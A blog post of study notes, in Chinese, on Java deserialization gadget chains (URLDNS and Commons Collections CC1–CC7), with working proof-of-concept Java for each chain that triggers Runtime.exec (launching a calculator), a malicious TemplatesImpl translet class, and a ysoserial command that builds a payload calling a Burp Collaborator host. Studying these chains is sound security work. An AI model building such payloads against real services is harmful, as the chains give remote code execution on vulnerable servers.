CC链
java反序列化
初识java反序列化
ObjectOutputStream类的writeObject()负责序列化一个对象,ObjectInputStream类的readObject()负责反序列化。此外只有当类实现了Serializable接口时,这个类才是允许被序列化的
public class Employee implements java.io.Serializable
{
public String name;
public String address;
public transient int SSN;
public int number;
}
//序列化
import java.io.*;
public class SerializeDemo
{
public static void main(String [] args)
{
Employee e = new Employee();
e.name = "Reyan Ali";
e.address = "Phokka Kuan, Ambehta Peer";
e.SSN = 11122333;
e.number = 101;
FileOutputStream fileOut =new FileOutputStream("/tmp/employee.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
}
}
//反序列化
import java.io.*;
public class DeserializeDemo
{
public static void main(String [] args)
{
Employee e = null;
FileInputStream fileIn = new FileInputStream("/tmp/employee.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
e = (Employee) in.readObject();
in.close();
fileIn.close();
System.out.println("Deserialized Employee...");
System.out.println("Name: " + e.name);
System.out.println("Address: " + e.address);
System.out.println("SSN: " + e.SSN);
System.out.println("Number: " + e.number);
}
}
java原生的WriteObject()和readObject()几乎没有任何过滤,所以一般来说各种实际遇到的类都会对这两个方法进行重写,在重写的过程中就可能会用到一些间接可以触发命令执行的函数。从readObject()开始,通过不同函数之间的相互调用,直到命令执行,构成了一条反序列化链
下面好像是反序列化漏洞的发现者起的几个名词,说实话意义不大
- kick-off:开头是 “kick-off” gadget,在反序列化过程中或反序列化之后会执行
- chain:中间是很多 chain gadget,能将开头的 “kick-off” gadget 和 “sink” gadget 连起来
- sink:结束时 “sink” gadget,执行任意的代码或者命令的类
URLDNS
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNStest {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://yegq2blfvt2y7mibfz8ikmdm8de32s.burpcollaborator.net");//burpsuite左上角burp-->burp collaborator client-->yegq2blfvt2y7mibfz8ikmdm8de32s.burpcollaborator.net
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1(如果不改的话下一步put'时也会触发一次dns查询,无法与计划中反序列化时出发的查询区别)
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}
}
从burpsuite的collaborator client得到一个网址,用ysoserial构造payload,将序列化结果写入test.txt
E:\firefox_file\ysoserial-master\ysoserial-master\target>java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://ceuk6vq36wpt6rlvu6kr5c5owf25qu.burpcollaborator.net >test.txt
反序列化,之后可以在burpsuite上接受到DNS请求
FileInputStream inputStream = new FileInputStream("./test.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
为什么测试代码会产生四条dns查询,也许跟java.lang.reflect.InaccessibleObjectException这个奇怪的报错有关
CC链
由于cc链不是按顺序学的,所以笔记中可能会有些混乱
CC1
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws Exception {
//最正常的命令执行
// Runtime.getRuntime().exec("calc");
//使用反射的命令执行
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod=c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
//最终版本
// Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//最最终版本
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// };
// ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
// chainedtransformer.transform(Runtime.class);
//最最最终版本
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
// chainedtransformer.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedtransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//因为这个类不是public,直接访问不到,需要反射访问
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o=annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
}
yeso中用到的lazymap版本
//lazymap版本
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//当lazymap调用get方法却get不到结果时就会触发transfom方法
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = cls.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
//AnnotationInvocationHandler在调用entryset时会自动调用invoke方法,而invoke方法在被代理对象是annotationType(注释类,target就是一种)时会调用map1的get方法
InvocationHandler handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, map1);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
//然后再封装一边,这样在readObject是会触发entryset
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, proxyMap);
//这样写也可handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Retention.class, proxyMap);
CC2
commonselection4
PriorityQueue
如其名有优先级,所以自然会涉及比较compare()
的操作- 命令执行的方式sink和cc3是一样的加载恶意类
//ChainedTransformer版本
public class CC2test {
public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException {
// commoncollection4以下的TransformnerComparator没有实现serializable接口,不能攻击
// 思路不难,TransformnerComparator的compare()会触发transformer.transform(),然后PriorityQueue的readObject()会间接触发compare()
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue<String> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
// serialize(queue,"CC2.bin");
unserialize("CC2.bin");//不明白为什么会弹出两次计算器
}
//当然我们的yeso不会老老实实用上面那个
public class CC2test {
public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException {
//流程相差不多,最后的readObject利用点一样都是在PriroityQueue,只是命令执行的方式变了
//简而言之TemplatesImpl类中的newTransformer()方法可以从_bytecodes属性中动态加载恶意类,之后只需通过InvokerTransformer类来反射调用TemplatesImpl的newTransformer()方法
// 读取恶意类 bytes[]
byte[] code = Files.readAllBytes(Paths.get("D:\\something maybe\\javaproject\\untitled3\\target\\classes\\Test01.class"));
byte[][] codes ={code};
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, codes);
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "su18");
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
// 用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法
// 这个类是 public 的,方便调用
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);
serialize(queue, "CC2.bin");
unserialize("CC2.bin");
}
CC3
反序列化时的命令执行除了之前直接调用Runtime.getRuntime().exec("calc");
之外还可以通过java的动态类加载实现,loadClass->defineClass从字节码中加载类,defineClass->defineTransletClasses->getTransletInstance(里面还有newInstance)->newTransformer->TemplatesImpl类
//基本思路
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import java.io.IOException;
public class Test01 extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {
}
@Override
public void transform(DOM dom, DTMAxisIterator dtmAxisIterator, SerializationHandler serializationHandler) throws TransletException {
}
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
public class CC3test {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");//name为空会在getTransletInstance返回null
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");//bytecodes为空会在defineTransletClasses抛出异常
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\something maybe\\javaproject\\untitled3\\target\\classes\\Test01.class"));
byte[][] codes ={code};
bytecodesField.set(templates,codes);
// Field tfactoryField = tc.getDeclaredField("_tfactory");//defineTransletClasses中有tfactory,不赋值的话会报空指针错误;这个变量是transient,说明不能被反序列化,说明一定会在readObject里初始化,此处赋值只是为了能顺利测试,实际反序列化时可以省略
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
//可以直接沿用cc1的后半段
// Transformer[] transformers= new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer",null, null),
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
//cc3作者选择的是另一条
//LazyMap在get()得不到任何东西的时候会触发factory.transform,其中factory是私有属性。而我们恰好希望调用chainedTransformer.transform
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map =new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);//这里传入的chainedTransformer就是fatory
//这里用到了动态代理,总结起来的一句话就是被动态代理的对象调用任意方法都会调用对应的InvocationHandler的invoke方法。同时AnnotationInvocationHandler的invoke在调用无参方法时会触发get,而恰好AnnotationInvocationHandler的readObject中还会调用entrySet()这个无参方法。所以我们要做的就是给LazyMap套个代理
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
// serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
}
CC4
commonselection4
至此我好像有点搞明白了这几条cc链的本质就是排列组合,不同的sink和kick-off组合,中间的chain反正也差不太多
原版的cc4是将cc2的InvokerTransformer换成了InstantiateTransformer
- CC2:InvokerTransformer.transform()触发newTransformer
- CC4:InstantiateTransformer.transform(TrAXFilter.class)触发newTransformer
CC5
cc5是cc1的改版,jdk1.8之后对AnnotationInvocationHandler 类进行了修复,cc5就是找到了一个替代AnnotationInvocationHandler类调用LazyMap的get方法的方式
ublic static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
// 我已经完全理解了cc链!TiedMapEntry在toString()方法中调用LazyMap的get()方法,
// 然后BadAttributeValueExpException的readObject()在System.getSecurityManager() == null的情况下会触发TiedMapEntry的toString()
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "su18");
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, entry);
serialize(exception);
unserialize("ser.bin");
}
CC6
不受jdk版本限制,理论上也不受cc版本限制
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//目标是触发LazyMap的get()
HashMap<Object, Object> map =new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
//TiedMapEntry的hashCode()方法会简间接调用get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
//HashMap的put方法会间接触发tiedMapEntry的hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
serialize(map2);
unserialize("ser.bin");
}
可是类似于URLDNS那条链,在21行put时就会触发命令执行,也就是序列化时也会触发。为了只在反序列化时触发,需要像URLDNS中通过反射修改某些变量使得在21行怕put时因为缺少某些东西而不能走完整条链,可以修改的地方有很多,这里选择修改LazyMap中的factory参数(也就是上面13行原本的chainedTransformer)(yeso里的这部分好像用了些非常复杂的方法)
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//目标是触发LazyMap的get()
HashMap<Object, Object> map =new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去
//TiedMapEntry的hashCode()方法会简间接调用get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
//HashMap的put方法会间接触发tiedMapEntry的hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
//等到put完了再通过反射修改
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
还存在一个小问题,这样得到的序列化对象在序列化时是不能执行命令的,原因出在这里
预想中,当我们反序列化时希望触发factory.transform()(也就是chainedTransformer.transform()),进而实现命令执行。但是当我们正向序列化走到这个函数时,会给键aaa赋一个对应的值,所以在序列化时会把这个值一同保存下来,反序列化时就不能成功进入if的部分调用transform()导致执行失败。当然解决方法很简单,在反序列化之前remove掉新添的键值就好,最终版如下
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//目标是触发LazyMap的get()
HashMap<Object, Object> map =new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去
//TiedMapEntry的hashCode()方法会简间接调用get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
//HashMap的readObject()方法会调用hash(),进而调用hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
// lazyMap.clear()//一样的
//等到put完了再通过反射修改
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
CC7
将cc6的HashMap换成了Hashtable,对比一下
- HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。
- 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
- Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。
- Hashtable 线程安全,HashMap 线程不安全。
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//与cc6思路一致,后半部分都是靠LazyMap.hashcode()->LazyMap.get()->chainedTransformer.transform()
//只不过这次的入口点改成由Hashtable的readObject中的reconstitutionPut()触发hashcode(),因为也有涉及put所以cc6的小毛病也存在
// 初始化 HashMap
Hashtable<Object, Object> hashtable = new Hashtable<>();
// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "su18");
hashtable.put(entry, "su18");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
serialize(lazyMap);
unserialize("ser.bin");
}
总结
从cc链开始学习java反序列化,目前为止仅仅是了解了几条链的原理,希望在之后能找到合适的题来学习下应用
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析